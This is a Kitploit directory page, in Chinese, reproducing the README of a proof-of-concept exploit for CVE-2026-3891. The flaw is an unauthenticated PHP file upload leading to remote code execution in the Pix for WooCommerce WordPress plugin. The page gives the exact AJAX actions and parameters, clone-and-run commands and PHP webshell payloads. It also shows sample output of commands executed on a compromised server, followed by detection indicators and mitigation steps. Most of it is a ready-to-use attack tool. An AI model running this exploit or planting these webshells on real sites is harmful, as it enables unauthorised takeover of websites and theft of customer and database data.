Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3891 — CVE-2026-3891 的 PoC – Pix for WooCommerce ≤ 1.5.0 中未经身份验证的文件上传 RCE。自动获取 nonce、上传 PHP 并执行命令。 | Kitploit
工具/GitHubGitHub/ch4120n/cve-2026-3891
漏洞利用Web应用程序漏洞利用渗透测试
GitHubch4120n/cve-2026-3891

CVE-2026-3891

CVE-2026-3891 的 PoC – Pix for WooCommerce ≤ 1.5.0 中未经身份验证的文件上传 RCE。自动获取 nonce、上传 PHP 并执行命令。

查看仓库
21个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚀 CVE-2026-3891 – Pix for WooCommerce 未认证文件上传远程代码执行(RCE)

Python Exploit CVE

GitHub stars GitHub issues License

CVE-2026-3891 的概念验证(PoC)漏洞利用程序 – 在 Pix for WooCommerce WordPress 插件(≤ 1.5.0)中,未认证的任意文件上传可导致远程代码执行。


📖 概述

CVE-2026-3891 是 Pix for WooCommerce 插件中的一个严重漏洞,影响所有版本直至 1.5.0。该插件未能在其 AJAX 处理器 lkn_pix_for_woocommerce_c6_save_settings 中强制执行正确的授权和文件类型检查。未认证的攻击者可以利用此缺陷将任意 PHP 文件上传到公开可访问的目录,并在底层 WordPress 服务器上实现远程代码执行。

本仓库包含一个生产级 PoC,可自动化整个攻击链路——从获取有效 nonce 到上传 WebShell——并具备强大的错误处理和美观的 CLI 界面。

🔍 主要特性

  • 完全未认证 – 无需 WordPress 凭据或会话 Cookie。
  • 自动提取 nonce – 该漏洞利用程序通过同一公共 AJAX 接口获取所需的安全 nonce。
  • Multipart 文件上传 – 正确构造易受攻击处理器所期望的 certificate_crt_path 文件参数。
  • 直接生成 URL – 立即提供已上传负载的公共 URL。
  • 后渗透检查 – 可选的上传成功验证和即时命令执行(--check)。
  • 高级错误处理 – 优雅地处理 Cloudflare、WAF、超时和畸形响应。
  • 清晰、信息丰富的输出 – 所有消息均以 [ * ]、[ + ]、[ - ]、[ ! ] 作为前缀,便于即时阅读。

🧬 漏洞详情

根本原因在于该插件注册的两个 AJAX 操作:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

此操作注册在 wp_ajax_nopriv_* 钩子上,使未认证访客可以访问。它为 lkn_pix_for_woocommerce_c6_settings_nonce 操作生成一个 nonce,并以 JSON 格式返回:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

没有执行任何权限检查或用户认证——任何人都可以请求一个有效的 nonce。

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

该处理器保存插件设置,其中包括一个名为 certificate_crt_path 的文件上传字段。虽然上传是通过 WordPress 的 media_handle_upload 辅助函数完成的,但该插件没有:

  • 验证请求是否来自已认证且已授权的用户(缺少 current_user_can)。
  • 强制执行任何文件类型或扩展名限制(例如,允许 .php 文件)。
  • 将文件存储在不可执行的目录中——最终文件被存放在:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    该目录可通过 Web 直接访问。

由于 nonce 仅用于防范 CSRF,且任何人都能获取它,攻击者可以将这两个操作串联起来,上传并执行任意 PHP 代码。

受影响版本

  • Pix for WooCommerce 版本 ≤ 1.5.0
  • 该漏洞已在默认配置的全新 WordPress 安装上得到确认。

影响

  • 远程代码执行 – 以 Web 服务器权限(通常为 www-data 或 apache)获得完整的 WebShell 访问权限。
  • 数据外泄 – 读取 wp-config.php、数据库凭据和客户数据。
  • 持久化 – 修改核心文件、植入后门。
  • 完全接管网站 – 如果数据库可访问,则可提升为 WordPress 管理员权限。

🛠️ 利用条件

  • 可网络访问目标 WordPress 站点(无需认证)。
  • Python 3.8+,并安装 requests 库(通过 pip install requests 安装)。
  • 目标站点必须安装并启用了受影响的插件(默认配置即可满足)。

🚀 使用方法

安装

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

基本命令

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

如需更多控制选项,可使用命令行参数:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

示例输出

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

命令行选项


🧪 检测与调整的技术详情

Nonce 生成端点

  • URL: http://target/wp-admin/admin-ajax.php
  • 操作: lkn_pix_for_woocommerce_generate_nonce
  • 参数: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • 响应: {"success":true,"data":{"nonce":"..."}}
  • 注意: 由于该操作以 wp_ajax_nopriv_* 注册,因此 nonce 始终可以获取。不需要 Cookie 或会话。

文件上传参数

  • URL: 同一个 admin-ajax.php
  • 操作: lkn_pix_for_woocommerce_c6_save_settings
  • 必填字段:
    • _ajax_nonce – 先前获取的 nonce
    • certificate_crt_path – multipart 文件上传(负载)
  • 文件类型: 该插件不验证扩展名,因此 .php 文件会被接受并按原文件名存储。

公共存储路径

上传成功后,文件位于:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

该目录可通过 Web 直接访问;如果 Web 服务器配置为处理 PHP 文件(这是 WordPress 托管服务器的默认配置),PHP 文件将被执行。

入侵指标(IoC)

  • certs_c6 目录中出现意外的 PHP 文件(尤其是类似 woocommerce.php、shell.php 等文件)。
  • 来自不可信 IP 的异常 admin-ajax.php POST 请求,且带有上述操作。
  • 访问日志显示直接访问 .../certs_c6/,并带有类似 ?cmd=id 的查询参数。

🛡️ 检测与缓解

检测

监控你的 WordPress 日志,查找以下内容:

  • 对 /wp-admin/admin-ajax.php 的重复 POST 请求,带有 action=lkn_pix_for_woocommerce_generate_nonce 和 action=lkn_pix_for_woocommerce_c6_save_settings。
  • 在 certs_c6 文件夹中创建新文件。使用文件完整性监控工具(如 Tripwire、OSSEC)对内容变更发出警报。
  • Web 服务器日志显示来自外部 IP 对该目录中 PHP 文件的执行。

缓解措施

  1. 更新插件 – 检查是否发布了包含官方修复的 >1.5.0 版本。
  2. 应用虚拟补丁 – 使用 WAF 规则(如 ModSecurity、Cloudflare WAF)阻止对易受攻击 AJAX 操作的访问。
  3. 限制文件执行 – 如果必须使用该插件,请配置 Web 服务器,拒绝在 certs_c6 目录内执行 PHP(例如,使用带 php_flag engine off 的 .htaccess)。
  4. 加固 AJAX 处理器 – 如果你维护该插件,请确保两个操作仅对已认证且已授权的用户可访问(nonce 生成使用 current_user_can('manage_options'),上传则需进行适当的 nonce 验证并配合权限检查)。
  5. 禁用插件 – 如果 Pix for WooCommerce 不是必需插件,请直接删除它。

👏 致谢

  • 漏洞利用开发与 PoC: Ch4120N
  • 漏洞分析: 独立安全研究

📄 许可证

本项目采用 MIT 许可证授权——详见 LICENSE 文件。

免责声明: 本工具仅用于授权的安全测试和教育目的。作者不对因使用本软件而造成的任何滥用或损害负责。


📚 参考资料

  • NIST NVD – CVE-2026-3891
  • WordPress 插件仓库 – Pix for WooCommerce(查看更新日志以获取已修复版本)
  • Patchstack / WPScan 漏洞数据库(如果存在该条目)

⭐ 支持

如果你觉得这个 PoC 有用,请在 GitHub 上给它一个 ⭐,并负责任地分享。欢迎提交贡献、issue 和 pull request!


黑客愉快! 🛡️

下载工具
Flag描述默认值
target(位置参数)WordPress 站点的基础 URL。必需
-f, --filename上传的 PHP 文件名。woocommerce.php
-p, --payload要上传的 PHP 代码。<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeout请求超时时间(秒)。15
-r, --retries获取 nonce 的最大重试次数。2
--no-banner隐藏 ASCII 艺术横幅。(关闭)
--no-verify上传后跳过可访问性检查。(关闭)
--check上传后在 WebShell 上执行 id 命令。(关闭)